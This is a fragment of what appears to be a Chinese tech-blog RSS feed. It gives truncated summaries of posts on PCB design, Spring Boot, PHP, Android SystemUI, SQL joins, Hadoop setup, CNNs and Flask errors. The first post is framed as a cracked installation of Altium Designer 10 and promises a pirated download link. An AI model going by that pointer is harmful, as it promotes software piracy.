      <description>一、Altum Designer10破解安装&#xA;下载安装Altum Designer10.接下来这里将会附上破解版下载链接，请稍后&#xA;二、PCB画板简单介绍&#xA;1、新建工程PCB工程，打开AD10,点击File-&amp;gt;New-&amp;gt;Project-&amp;gt;PCB Project.将工程文件取个名字保存在你能容易找到的文件目录下，这是一个项目工程文件，包含其他文件。如下图所示&#xA;2，新建库&#xA;这里的库包含两个，一个是元件库（元件引脚），一个是封装库（元件大小），接下来分别详细介绍创建方法：&#xA;（1）元件库&#xA;点击File-&amp;gt;New-&amp;gt;Library-&amp;gt;Schematic Library.取个名字保存在你能容易找到的文件目录下,在这里就可以画器件外形及引脚。如下图所示&#xA;（2）封装库（PCB Library）&#xA;点击File-&amp;gt;New-&amp;gt;Library-&amp;gt;PCB Library.取个名字保存在你能容易找到的文件目录下,在这里就可以画器件大小。如下图所示&#xA;3、新建原理图&#xA;原理图是器件连接的桥梁，构建电路工作的基本连接，是画PCB必不可少的文件。&#xA;4,、新建PCB&#xA;这里的PCB就是交给厂家直接打板的文件&#xA;三、四层电路板绘制&#xA;1、四层板绘制&#xA;在PCB设计里，一般默认是双层板，即Top Layer 与BOttom Layer，在信号要求比较高的情况下，为了排除干扰，信号线与电源线分开，这时候就需要设计四层甚至更多层的PCB板，以保证信号的完整性。&#xA;在下图我们可以看到，只有Top Layer 与BOttom Layer,即两层板，点击Design-&amp;gt;Layer Stack Mannger,弹出对话框如下图所示。&#xA;先选中左边的Top Layer，然后点击右边选项框的Add Plane,。&#xA;可以看到多了两层，四层板点击两下就可以，几层板就点几下，这里我们点两下，画四层板。&#xA;给新加的层取个名，点击左边Internal Plane1(No Net), 这里取VCC和GND,分别连接到5V(连接到5V是因为板供电电压为5V,这里大家可根据所设计PCB电源选择，以减少走线)和GND&#xA;修改好,点击OK即可。&#xA;可以看到下方多了刚新建的VCC和GND,到这里，一个简单的四层板雏形就搭建好了。&#xA;2、电源分割&#xA;电源分割是为了减少 PCB走线，表面上看起来不那么乱，也为了减少信号间干扰问题。&#xA;选中刚新建的VCC，点击Place-&amp;gt;Line&#xA;在PCB上选出你要分隔的模块，点击连接到你要连的网络，这里需要注意的是，你所连接的图形是一个封闭的，这里选择的AVDD&#xA;Shift+S组合键，你可以看到，整个VCC版面被分成了两大块，一部分连接到AVDD，一部分连接到5V（刚添加plane时连接的5V),这样电源层就被分割好啦&#xA;GND层也是一样。&#xA;接下来就是布线，覆铜，步骤和两层板一样，这样，一个完整的四层PCB板就设计好啦！&#xA;附加：有时候不注意就会让左下角菜单显项卡不见，点击View-&amp;gt;Desktop Layouts-&amp;gt;Default.就可以了。</description>
    </item>
    <item>
      <title>小白一看就懂的Springboot&#43;mybatis&#43;mysql的demo项目</title>
      <link>https://bchobby.github.io/posts/867de2c61194a694deeb10eee992c7e9/</link>
      <pubDate>Tue, 13 Aug 2019 22:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/867de2c61194a694deeb10eee992c7e9/</guid>
      <description>废话不多说，我们直接进入正题，基于springboot整合mybatis实现后台管理的小demo，在这里我用的编辑器是IDEA（最近比较火嘛，也来跟下风，嘻嘻）&#xA;第一步：打开idea编辑器，初始化一个Springboot项目：File---New---Preject---Spring Initializr，如下图：&#xA;按照规范填写好包名和项目名（这里就不做过多介绍），添加Springboot核心配置文件Application.yml&#xA;这里贴出相应的目录结构：&#xA;Application.yml配置文件参数如下：&#xA;spring: datasource: url: jdbc:mysql://localhost:3306/test?characterEncoding=utf8&amp;amp;serverTimezone=GMT%2B8 username: root password: 123456 driver-class-name: com.mysql.jdbc.Driver mvc: view: prefix: /WEB-INF/ suffix: .jsp #配置mybatis mybatis: typeAliasesPackage: com.fly.pojo mapper-locations: classpath:mapper/*.xml #配置mapper mapper: not-empty: false identity: MYSQL #配置Tomcat，配置80，可在浏览器访问项目时不用加端口号（默认端口8080） server: port: 80 第二步：创建实体类（User.java）并创建对应数据库user，便于演示，就只写了3个字段：&#xA;package com.fly.pojo;&#xA;public class User {&#xA;private int id;&#xA;private String name;&#xA;private int age;&#xA;public int getId() {&#xA;return id;&#xA;}&#xA;public String getName() {&#xA;return name;&#xA;}&#xA;public int getAge() {</description>
    </item>
    <item>
      <title>php获取时间戳及对时间戳进行格式化处理</title>
      <link>https://bchobby.github.io/posts/83c75d887baccfab6426e3f4edacb888/</link>
      <pubDate>Tue, 13 Aug 2019 17:46:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83c75d887baccfab6426e3f4edacb888/</guid>
      <description> 个人blog，欢迎关注加收藏&#xA;//获取当前的时间戳 echo &#34;&amp;lt;h3&amp;gt;time()获取当前时间戳&amp;lt;/h3&amp;gt;&#34;; $timestamp = time(); echo $timestamp; //mysql获取当前时间的时间戳：unix_timestamp() //格式化时间戳 echo &#34;&amp;lt;h3&amp;gt;date(日期格式,时间戳)格式化时间戳&amp;lt;/h3&amp;gt;&#34;; $date = date(&#39;Y-m-d H:m:s&#39;,$timestamp); echo &#39;&amp;lt;br&amp;gt;&#39;.$date; //mysql中格式化时间戳：from_unixtime(时间戳,日期格式) //与php参数位置不同 //并且mysql的日期格式需要写成&#39;%Y-%m-%d %H:%m:%s&#39;，一定要加% </description>
    </item>
    <item>
      <title>SystemUI中显示通知流程</title>
      <link>https://bchobby.github.io/posts/de807d1b771c79d00319e25a81f6480f/</link>
      <pubDate>Tue, 13 Aug 2019 17:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de807d1b771c79d00319e25a81f6480f/</guid>
      <description>目录&#xA;1.参考：&#xA;2.NotificationListenerService：&#xA;3.时序图：&#xA;4.时序图解读：&#xA;1.参考： 通知framework中的执行流程请参考：&#xA;https://blog.csdn.net/zhao5214319/article/details/98848708&#xA;2.NotificationListenerService： 在SystemUI中会注册这个Service用来接收从Framework中传过来的通信信息，也就是StatusBarNotification这个类。这个过程使用的是Binder通信机制，AIDL接口为INotificationListener，在Framework代码中实现了这个接口，但这个实现是一个抽象服务类（extends Service）的，本质上是一个Services,但在SystemUI中的使用上可以理解就是向NotifcationManageService中注册的一个回调，当需要发送一个通知时，Framewok中接收到通知信息进行记录并处理，处理完了之后调用回调将信息传到SystemUI进行处理。&#xA;注册流程： 要了解NotificationListenerService的注册流程首先要连接SystemUI的启动流程，在这个里做一个简单的介绍。&#xA;启动流程大约分为几个阶段：&#xA;1&amp;gt;java环境启动阶段（fastboot-&amp;gt;Kernel-&amp;gt;java虚拟机）&#xA;2&amp;gt;framework服务启动阶段（参考：https://blog.csdn.net/zhao5214319/article/details/96483297）&#xA;3&amp;gt;SystemUI启动阶段&#xA;主要简单的介绍下SystemUI阶段，因为NotificationListenerService注册就是在这个阶段进行的，SystemUI启动流程会另起一篇文章详细学习。&#xA;时序图如下：&#xA;重点解读：&#xA;1&amp;gt;SystemUIApplicaton创建SystemBar对象时会使用工厂模式，若工厂中存在则直接使用，若不存则通过反射的newInstance方法创建此对象，并将对象加入工厂中。这块时序图中不能清晰表达，因此在这重点介绍&#xA;2&amp;gt;在SystemBar创建PhoneStatusBar对象时会读取配置文件，根据配置文件中配置的包名+类名进行创建，因此这块厂家可以配置自己的statusBar的java类，在进行此项开发时最好继承PhoneStatusBar这个类，当然继承BaseStatusBar或其父类也可以，但这样就需要自己实现大量的功能，会消耗大量的资源。&#xA;3&amp;gt;congfig.xml的配置如下：&#xA;&amp;lt;string name=&#34;config_statusBarComponent&#34; translatable=&#34;false&#34;&amp;gt;com.android.systemui.statusbar.phone.PhoneStatusBar&amp;lt;/string&amp;gt; 4&amp;gt;时序图中调用了大量的start()方法，请注意：SystemBar、PhoneStatusBar和BaseStatusBar既不是服务，也不是新建立的线程，start就是一个java的最普通的方法。&#xA;5&amp;gt;在NotificationManagerService中NotificationListenerService一般有4个。&#xA;3.时序图： 4.时序图解读： 通知是怎么传到NotificationListenerService中的请参考此篇文章：&#xA;https://blog.csdn.net/zhao5214319/article/details/98848708&#xA;在NotificationListenerService的onNotificationPosted方法中首先就是新开一个线程，这样做有以下几点好处：&#xA;将framework中的线程释放掉，这样可以节省Framwork进程的内存空间，防止因内存不够导致的问题释放Binder通道，防止资源暂用导致使用通道堵塞，从而引起的crash问题由于新开的线程是运行在SystemUI进程中的，出问题后可以通过进程ID快速定位那个模块出的问题 新开线程处理的好处多多，简单列举几条，希望以后在使用Binder通信时，把这个当成一个准则来使用（Binder接口不需要返回值时，要开线程来处理所有的活动，无论是耗时还是非耗时）&#xA;线程启动后首先就是对RemoteImput的处理，这是通知的一种新功能，支持用户的输入操作，增加了通知于用户的可交互性，最常用的就是短信模块，可以通过此工具快速回复短消息，此功能会单独记录，在这就不在啰嗦。&#xA;在RemoteInput之后就需要判断此次通知消息发过了是要进行更新处理还是要进行增加处理了：在此之前要了解NotificationData的作用。NotificationData是一个记录所有SystemUI中通知信息的实体类，它存在一个内部静态类Entry，这个Entry存放一条通知在SystemUI中显示所有需要的所有信息（包含RemoteViews）,而NotificationData中有一个成员变量mEntries，它是一个ArrayMap类型的变量，通过Key-Value方式将所有通知对应的Entry，也是就是说，你在通知栏中看到的每一条通知都会有其对应的一个Entry。新增一条通知时，SystemUI会将StatusBarNotification对象，按照一定的规则转成一条Entry存储在SystemUI中，并将StatusBarNotification的对象释放。&#xA;这个Key值很重要，判断是否是新增就需要判断这个Key值能否从NotificationData中拿到有效数据，若不存在，则新增；若存在就更新。因此就要保证这个Key值是唯一的，可以通过Framework的StatusbarNotification中的key()方法来读懂这个Key值是怎么保证唯一的：&#xA;private String key() { String sbnKey = user.getIdentifier() + &#34;|&#34; + pkg + &#34;|&#34; + id + &#34;|&#34; + tag + &#34;|&#34; + uid; if (overrideGroupKey != null &amp;amp;&amp;amp; getNotification().isGroupSummary()) { sbnKey = sbnKey + &#34;</description>
    </item>
    <item>
      <title>报错：Required String parameter &#39;XXX&#39; is not present错误的几种可能性</title>
      <link>https://bchobby.github.io/posts/c622a9e972a7dbeca86d2039fbae3a70/</link>
      <pubDate>Tue, 13 Aug 2019 11:09:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c622a9e972a7dbeca86d2039fbae3a70/</guid>
      <description>背景了解： 同事对代码做了改动，他在后台把原本接收的参数“username”改成了&#34;id&#34;，没有把修改的事情通知我。拿到代码运行后发现前台网页的内容显示不完整了。下边是前后对比图&#xA;报错信息： Resolved exception caused by Handler execution: org.springframework.web.bind.MissingServletRequestParameterException: Required String parameter &#39;id&#39; is not present 中文释义：所需的字符串参数“id”不存在&#xA;错误分析： 根据控制台报错的内容来看，没有具体指向哪个文件哪个类或者方法，这样的报错很烦，联想到我项目前后运行的效果不一样，猜测可能是和我左侧菜单栏那有关系。去看了一下后台接口接收的参数是“id”，页面上传递的参数是“username”，问题应该是页面传递和后台接收的参数不一致导致&#xA;解决办法： 根据业务需求接收参数这里保持不变，接收id&#xA;public List&amp;lt;Resource&amp;gt; getInfo(@RequestParam(&#34;id&#34;)String id) { logger.debug(&#34;data{}&#34;,resourceService.get(id)); return resourceService.get(id); } 页面这里传递的参数“username”改为“id”&#xA;created() { var user = sessionStorage.getItem(&#39;user&#39;); user = JSON.parse(user); let _para = { //username: user.username, //user对象是登录时存在session里的，直接从session里取出就行 id :user.id }; this.$fetch(&#39;http://&#39; + http.host_port + &#39;/Resource&#39;, _para).then(res =&amp;gt; { if(res) { } }); } 刷新页面，发现问题解决了&#xA;在网上还看到几种情况也会导致这个问题：&#xA;（1）头文件类型不对，可以在MediaType中选择合适的类型，例如GET和POST&#xA;（2）jquery提交delete时，不支持@RequestParam，只支持@PathVariable形式&#xA;（3）api在调用的时候，如果存在重类型，但不重名；例如：/id与/name，两者在类型上是一样的</description>
    </item>
    <item>
      <title>C语言中的break</title>
      <link>https://bchobby.github.io/posts/1801bb2bc541a3927e9d967bbd9311d9/</link>
      <pubDate>Mon, 12 Aug 2019 17:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1801bb2bc541a3927e9d967bbd9311d9/</guid>
      <description>参考例程 1 -&amp;gt; 用于for循环&#xA;for(;;){// A for(;;) {// B break; // 只跳出B的for循环 } } 参考例程 2 -&amp;gt; 用于switch&#xA;int i; switch（i）{ case 1: break; // 跳出Switch case 2: break; // 跳出Switch default: break; // 跳出Switch } 总结&#xA;1、break 在一些计算机编程语言中是保留字，其作用大多情况下是终止所在层的循环&#xA;2、break语句对if-else的条件语句不起作用&#xA;3、在多层循环中，一个break语句只向外跳一层&#xA;4、在 C语言 的 switch（开关语句）中，break 语句还可用来在执行完一个 case（分支）后立即跳出当前 switch 结构&#xA;5、break和continue对if都是没影响的&#xA;break和continue&#xA;1.break&#xA;用break语句可以使流程跳出switch语句体，也可以用break语句在循环结构终止本层循环体，从而提前结束本层循环。&#xA;使用说明：&#xA;（1）只能在循环体内和switch语句体内使用break；&#xA;（2）当break出现在循环体中的switch语句体内时，起作用只是跳出该switch语句体，并不能终止循环体的执行。若想强行终止循环体的执行，可以在循环体中，但并不在switch语句中设置break语句，满足某种条件则跳出本层循环体。&#xA;2.continue&#xA;continue语句的作用是跳过本次循环体中余下尚未执行的语句，立即进行下一次的循环条件判定，可以理解为仅结束本次循环&#xA;注意：continue语句并没有使整个循环终止&#xA;continue扩展说明&#xA;在while和do-while循环中，continue语句使得流程直接跳到循环控制条件的测试部分，然后决定循环是否继续进行。&#xA;在for循环中，遇到continue后，跳过循环体中余下的语句，而去对for语句中的“表达式3”求值，然后进行“表达式2”的条件测试，最后根据“表达式2”的值来决定for循环是否执行&#xA;在循环体内，不论continue是作为何种语句中的成分，都将按上述功能执行，这点与break有所不同</description>
    </item>
    <item>
      <title>linux下设置IPV6默认路由，ping，路由跟踪</title>
      <link>https://bchobby.github.io/posts/44fb8e67f3dba32db60df079364f1cf8/</link>
      <pubDate>Mon, 12 Aug 2019 16:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44fb8e67f3dba32db60df079364f1cf8/</guid>
      <description>近日由于业务所需，需要在linux下设置IPV6地址和路由，IPV4的经常弄都在脑子里，但是IPV6的第一次弄，弄的过程好复杂，查了好多资料也问了好多人，终于学会了最基本的，现在总结出来分享下，希望对大家有帮助，自己也做个存档。&#xA;设置IPV6默认网关：&#xA;ip -6 route add default via XXXXXXXX&#xA;这一句是把后面的XXXX的地址设置为默认网关。&#xA;设置IPV6静态路由：&#xA;ip -6 route add IPV6地址/掩码 via 网关地址 dev 网卡名称&#xA;IPV6路由跟踪：&#xA;traceroute6 XXXXXXX&#xA;IPV6的ping：&#xA;ping6 XXXXXXX&#xA;IPV6的路由表：&#xA;ip -6 route show&#xA;或&#xA;route -6</description>
    </item>
    <item>
      <title>SQL中的left outer join,inner join,right outer join用法 （左右内连接）</title>
      <link>https://bchobby.github.io/posts/abbfe512694727d612ed110f82ccaa09/</link>
      <pubDate>Mon, 12 Aug 2019 09:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abbfe512694727d612ed110f82ccaa09/</guid>
      <description>SQL语句中的left outer join,inner join,right outer join用法&#xA;left outer join=left join , right outer join=right join, inner join=join.&#xA;使用关系代数合并数据 1 关系代数 合并数据集合的理论基础是关系代数，它是由E.F.Codd于1970年提出的。 在关系代数的形式化语言中： 用表、或者数据集合表示关系或者实体。 用行表示元组。 用列表示属性。 关系代数包含以下8个关系运算符 选取――返回满足指定条件的行。&#xA;投影――从数据集合中返回指定的列。 笛卡尔积――是关系的乘法，它将分别来自两个数据集合中的行以所有可能的方式进行组合。 并――关系的加法和减法，它可以在行的方向上合并两个表中的数据，就像把一个表垒在另一个表之上一样。&#xA;交――返回两个数据集合所共有的行。 差――返回只属于一个数据集合的行。 连接――在水平方向上合并两个表，其方法是：将两个表中在共同数据项上相互匹配的那些行合并起来。 除――返回两个数据集之间的精确匹配。 此外，作为一种实现现代关系代数运算的方法，SQL还提供了： 子查询――类似于连接，但更灵活；在外部查询中，方式可以使用表达式、列表或者数据集合的地方都可以使用子查询的结果。 本章将主要讲述多种类型的连接、简单的和相关的子查询、几种类型的并、关系除以及其他的内容。 2 使用连接 2.1 连接类型 在关系代数中，连接运算是由一个笛卡尔积运算和一个选取运算构成的。首先用笛卡尔积完成对两个数据集合的乘运算，然后对生成的结果集合进行选取运算，确保只把分别来自两个数据集合并且具有重叠部分的行合并在一起。连接的全部意义在于在水平方向上合并两个数据集合（通常是表），并产生一个新的结果集合，其方法是将一个数据源中的行于另一个数据源中和它匹配的行组合成一个新元组。 SQL提供了多种类型的连接方式，它们之间的区别在于：从相互交叠的不同数据集合中选择用于连接的行时所采用的方法不同。 连接类型 定义 内连接 只连接匹配的行 左外连接 包含左边表的全部行（不管右边的表中是否存在与它们匹配的行），以及右边表中全部匹配的行 右外连接 包含右边表的全部行（不管左边的表中是否存在与它们匹配的行），以及左边表中全部匹配的行 全外连接 包含左、右两个表的全部行，不管另外一边的表中是否存在与它们匹配的行。 (H)(theta)连接 使用等值以外的条件来匹配左、右两个表中的行 交叉连接 生成笛卡尔积－它不使用任何匹配或者选取条件，而是直接将一个数据源中的每个行与另一个数据源的每个行都一一匹配 在INFORMIX中连接表的查询 如果FROM子句指定了多于一个表引用，则查询会连接来自多个表的行。连接条件指定各列之间（每个表至少一列）进行连接的关系。因为正在比较连接条件中的列，所以它们必须具有一致的数据类型。 SELECT语句的FROM子句可以指定以下几种类型的连接 FROM子句关键字 相应的结果集 CROSS JOIN 笛卡尔乘积（所有可能的行对） INNER JOIN 仅对满足连接条件的CROSS中的列 LEFT OUTER JOIN 一个表满足条件的行，和另一个表的所有行 RIGHT OUTER JOIN 与LEFT相同，但两个表的角色互换 FULL OUTER JOIN LEFT OUTER 和 RIGHT OUTER中所有行的超集 2.</description>
    </item>
    <item>
      <title>两种改进的冒泡排序算法</title>
      <link>https://bchobby.github.io/posts/53cf80a3c2ce08f444d8e7aafc018da3/</link>
      <pubDate>Sun, 11 Aug 2019 19:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53cf80a3c2ce08f444d8e7aafc018da3/</guid>
      <description>两种对冒泡排序的改进算法，对于n个元素的冒泡排序，普通的冒泡排序要经过n-1趟排序。&#xA;第一种改进：加一个标志位，当某一趟冒泡排序没有元素交换时，则冒泡结束，元素已经有序，可以有效的减少冒泡次数。&#xA;template &amp;lt;class T&amp;gt;&#xA;void Sort&amp;lt;T&amp;gt;::bubbleSwap(DataList&amp;lt;T&amp;gt; &amp;amp;datalist, const int n, int &amp;amp;flag)&#xA;{&#xA;flag = 0;&#xA;for (int i = datalist.m_nCurrentSize - 1; i &amp;gt;= n; i--)&#xA;{&#xA;if (datalist.m_pvector[i-1] &amp;gt; datalist.m_pvector[i])&#xA;{&#xA;datalist.swap(datalist.m_pvector[i-1], datalist.m_pvector[i]);&#xA;flag = 1;&#xA;}&#xA;}&#xA;}&#xA;template &amp;lt;class T&amp;gt;&#xA;void Sort&amp;lt;T&amp;gt;::bubbleSort(DataList&amp;lt;T&amp;gt; &amp;amp;datalist)&#xA;{&#xA;int flag = 1, n = 0;&#xA;while(++n &amp;lt; datalist.m_nCurrentSize &amp;amp;&amp;amp; flag)&#xA;{&#xA;bubbleSwap(datalist, n, flag);&#xA;cout&amp;lt;&amp;lt;&#34;n = &#34;&amp;lt;&amp;lt;n&amp;lt;&amp;lt;endl;&#xA;}</description>
    </item>
    <item>
      <title>CSS选择器Selector</title>
      <link>https://bchobby.github.io/posts/fbd5dd8ea5830f8066d806905ad780dd/</link>
      <pubDate>Sun, 11 Aug 2019 16:26:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbd5dd8ea5830f8066d806905ad780dd/</guid>
      <description>目录&#xA;一、DOM&#xA;二、类选择器&#xA;类选择器示例代码&#xA;类选择器Class Selector&#xA;*指定多个class&#xA;多个class选择器，后定义的优先级高&#xA;三、标签类型选择器&#xA;标签类型示例代码：&#xA;统一设定某种标签的样式&#xA;标签与类结合使用&#xA;四、ID选择器&#xA;元素的ID&#xA;ID选择器&#xA;ID选择器示例代码：&#xA;五、伪类选择器&#xA;伪类选择器示例代码：&#xA;六、子选择器&#xA;子选择器示例代码：&#xA;一、DOM DOM, Document Object Model&#xA;文档对象模型&#xA;在HTML页面里，浏览器根据&amp;lt;body&amp;gt;和里面的所有标签，建立一个树状结构&#xA;&amp;lt;body&amp;gt;下的每个节点，称为元素Element&#xA;例如：&#xA;元素的通用属性：&#xA;元素都有一些属性，例如&#xA;id给改元素设置一个全局唯一的IDname给改元素设置一个名字class设置样式类名style设置临时样式............................. &amp;lt;img id=&#34;logo&#34; src=&#34;img/U7015P1134DT20121120162824.jpg&#34; /&amp;gt; 注：不要把显示的内容放在&amp;lt;body&amp;gt;以外&#xA;二、类选择器 类选择器示例代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;信息统计&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; /*普通按钮*/ .my-button{ padding: 8px; border: 1px solid silver; font-size: 12px; color: black; background-color: #f1f1f1; min-width: 60px; } /*默认按钮*/ .my-button-default{ background-color: #0078D7; color: #f1f1f1; border-color: #F1F1F1; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p&amp;gt; &amp;lt;button class=&#34;</description>
    </item>
    <item>
      <title>Linux（CentOS）上的分布式Hadoop安装搭建（hadoop2.7.7为例）</title>
      <link>https://bchobby.github.io/posts/ed06366562caca05b5bf1865526aac26/</link>
      <pubDate>Sat, 10 Aug 2019 22:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed06366562caca05b5bf1865526aac26/</guid>
      <description>Linux（CentOS）上的Hadoop安装 注意：执行以下步骤我们都用非root账号，不要问为什么不用root账号，我拒绝回答-。-，非root账号是没有在根目录/下rwx的权限的，那么怎么用他执行我们需要的命令呢，在每条命令前加上sudo；当然友情提示&#xA;如果你是在装CentOS时，创建的非root账号，勾上管理员权限的小勾就可以使用sudo -f 文件名但是如果你是自己用命令新建的用户，要去/etc/sudoers文件中加上一段 注意：该文件只能用visudo命令打开在root ALL = （ALL）ALL行下加上（比如新建用户名为tutu） tutu ALL=（ALL） ALL sudo的具体操作参考这篇博客：https://www.cnblogs.com/henrylinux/p/9746835.html&#xA;以下操作用的用户名是centos&#xA;1. hadoop环境安装 1.1 安装jdk 1.注意：如果你安装的CentOS不是Min版本，可能Linux自带jdk，你需要先卸载它 1.1&#x9;查询系统是否安装了jdk命令：yum list installed | grep java 1.2&#x9;卸载以java开头：比如sudo yum remove java-1.8.0-openjdk... 1.3&#x9;如果卸载不了，查看是否在后台运行，强制杀死进程，再执行1.2步骤 a)下载jdk-8u65-linux-x64.tar.gz（以你安装的linux版本为准，如果你安装的是32位，那么jdk也下载32位的，下载网站：https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html；这里我推荐在window上进行下载，然后用SecureCRT上传到Linux） b)tar开 $&amp;gt;su centos ; $&amp;gt;cd ~ $&amp;gt;mkdir downloads $&amp;gt;cp /mnt/hdfs/downloads/bigdata/jdk-8u65-linux-x64.tar.gz ~/downloads #这里是把下载的jdk移到downloads文件夹中 $&amp;gt;tar -xzvf jdk-8u65-linux-x64.tar.gz c)创建/soft文件夹，把soft的拥有权设置为centos用户 $&amp;gt;sudo mkdir /soft $&amp;gt;sudo chown centos:centos /soft d)移动tar开的文件到/soft下 $&amp;gt;mv ~/downloads/jdk-1.8.0_65 /soft/ e)创建符号连接，相当window中的快捷方式 $&amp;gt;ln -s /soft/jdk-1.8.0_65 /soft/jdk f)验证jdk安装是否成功 $&amp;gt;cd /soft/jdk/bin $&amp;gt;.</description>
    </item>
    <item>
      <title>最详细的图文教程帮你解决GitHub下载慢或下载失败问题（2019.8.10亲测有效）</title>
      <link>https://bchobby.github.io/posts/03f1259326845553c800c1b5514a1936/</link>
      <pubDate>Sat, 10 Aug 2019 21:18:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03f1259326845553c800c1b5514a1936/</guid>
      <description>写这篇文章缘由，是下载一个机器学习课程的课件，想去GitHub上下载，结果下载速度居然只有几k，并且还老是下载失败。然后去百度解决办法，基本上都是让修改hosts文件，修改完成后发现效果并不明显（其实下载速度并没多大变化，从个位数变成了十位而已），于是找到了另一种方法来高速下载GitHub上的项目。 利用码云来克隆GitHub项目，操作简单而且有效，下面是图文详情： 1、首先需要一个码云账户，如果你没有，这个是官网地址——https://gitee.com/ 。 2、注册一个账户。 3、手机号就可以，一分钟的事。 4、新建一个仓库。 5、选择导入已有仓库。 6、找到你的GitHub网站，选择clone下的网址，复制。 7、在上面链接中输入我们刚刚复制的要导入的github项目地址，然后点击创建。 8、等待码云克隆项目，大概1-3分钟（由你的网络和要克隆项目大小决定）。 9、克隆完成，下载我们码云上的项目（这个就是你正常下载速度了）。 10、正常下载项目（原谅我的超级慢校园网速）。 11、最后下载完成后，如果不需要这个项目了可以在码云上删除，我们只是想解决下载慢和下载不下来的问题而已，不要过多的创建无用项目。 12、选择删除仓库，复制黑色验证信息到相应位置，点击确认删除，然后验证你的密码，就可以删除了。 本文只是提供一种博主验证可行并使用的解决GitHub下载慢或下载失败问题的方法。 如果想要更多的资源，欢迎关注 @我是管小亮，文字强迫症MAX~&#xA;回复【福利】即可获取我为你准备的大礼，包括C++，编程四大件，NLP，深度学习等等的资料。&#xA;想看更多文（段）章（子），欢迎关注微信公众号「程序员管小亮」~</description>
    </item>
    <item>
      <title>深度学习_卷积神经网络</title>
      <link>https://bchobby.github.io/posts/8b25fe0da56be0f6480618e095db8007/</link>
      <pubDate>Sat, 10 Aug 2019 11:12:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b25fe0da56be0f6480618e095db8007/</guid>
      <description>卷积神经网络（Convolutional Neural Network, CNN）用于图像识别，在CNN 中有卷积层（Convolution层）、池化层（Pooling层）和全连接层（fully-connected）, 随着网络深度的加深，高度和宽度会逐渐减小，信道的数量逐渐增加。&#xA;常见的卷积神经网络有两种：&#xA;（1）Input -&amp;gt; 卷积层 -&amp;gt; 池化层 -&amp;gt; 卷积层 -&amp;gt; 池化层 -&amp;gt; …… -&amp;gt; 全连接层（几个）-&amp;gt; Softmax -&amp;gt; Output&#xA;（2）Input -&amp;gt; 卷积层（一个或多个）-&amp;gt; 池化层 -&amp;gt; 卷积层（一个或多个）-&amp;gt; 池化层 -&amp;gt; …… -&amp;gt; 全连接层（几个）-&amp;gt; Softmax -&amp;gt; Output&#xA;1.卷积层&#xA;卷积层可以使图像保持形状不变，能正确理解图像等具有形状的数据，避免了全连接层无法利用与形状相关的信息。过滤器大小通常是奇数。&#xA;卷积运算：&#xA;卷积运算加偏置，是把偏置分别加到各个像元上&#xA;三维数据的卷积运算，有几个通道就需要几个滤波器，然后对应通道进行卷积运算，再把各通道计算值相加。&#xA;把数据看作是方块，进行理解；滤波器与输入数据具有一样的通道，最后输出数据是一维的。&#xA;选择FN个滤波器,会生成FN维的输出数据&#xA;2.填充&#xA;填充是在输入数据周围填入固定的数据（比如0），主要是为了调整输出数据的大小。&#xA;一般有两种方式：&#xA;（1）不填充&#xA;（2）填充使图像卷积后大小不变&#xA;3.步幅&#xA;步幅就是使用滤波器时的位置间隔。&#xA;输出数据大小计算式：&#xA;H: 输入数据的高&#xA;W: 输入数据的宽&#xA;FH: 滤波器的高&#xA;FW: 滤波器的宽&#xA;P: 填充&#xA;S: 步幅&#xA;OH: 输出数据的高&#xA;OW: 输出数据的宽&#xA;4.池化层</description>
    </item>
    <item>
      <title>400 Bad Request: The browser (or proxy) sent a request that this server coul</title>
      <link>https://bchobby.github.io/posts/42007574ee524359f7d181de903184cb/</link>
      <pubDate>Fri, 09 Aug 2019 17:23:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42007574ee524359f7d181de903184cb/</guid>
      <description>错误类型 [POST]&amp;gt;400 Bad Request: The browser (or proxy) sent a request that this server could not understand.&#xA;400 （错误请求） 服务器不理解请求的语法。&#xA;使用场景flask 后台报400错误。400错误表示 由于语法格式有误，服务器无法理解此请求。&#xA;但后台的接口确实可以进行post请求。之后发现原因是当flask的request.form无法获取到对应的参数时，就会报400错误。&#xA;使用post请求时， 若是参数为json数据， request。&#xA;更正总结： json数据不能用表单接收， 表单最好也不要接收json数据 Flask 中接收与发送表单方式 from flask import Flask,render_template,request @app.route(&#39;/login&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;]) def login(): if request.method == &#39;POST&#39;: username = request.form[&#39;username&#39;] password = request.form[&#39;password&#39;] print username,password return render_template(&#39;login.html&#39;,method=request.method) Flask 中接收与发送json 方式详解 （转）https://blog.csdn.net/gymaisyl/article/details/86629874&#xA;1、利用flask的request.form.get()方法接收&#xA;from flask import Flask from flask import jsonify from flask import request import json @app.</description>
    </item>
    <item>
      <title>针对tfrecords数据集，标签和图片读取不一致问题。</title>
      <link>https://bchobby.github.io/posts/b179d0fe8ea5dfa28d7009867540f700/</link>
      <pubDate>Fri, 09 Aug 2019 16:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b179d0fe8ea5dfa28d7009867540f700/</guid>
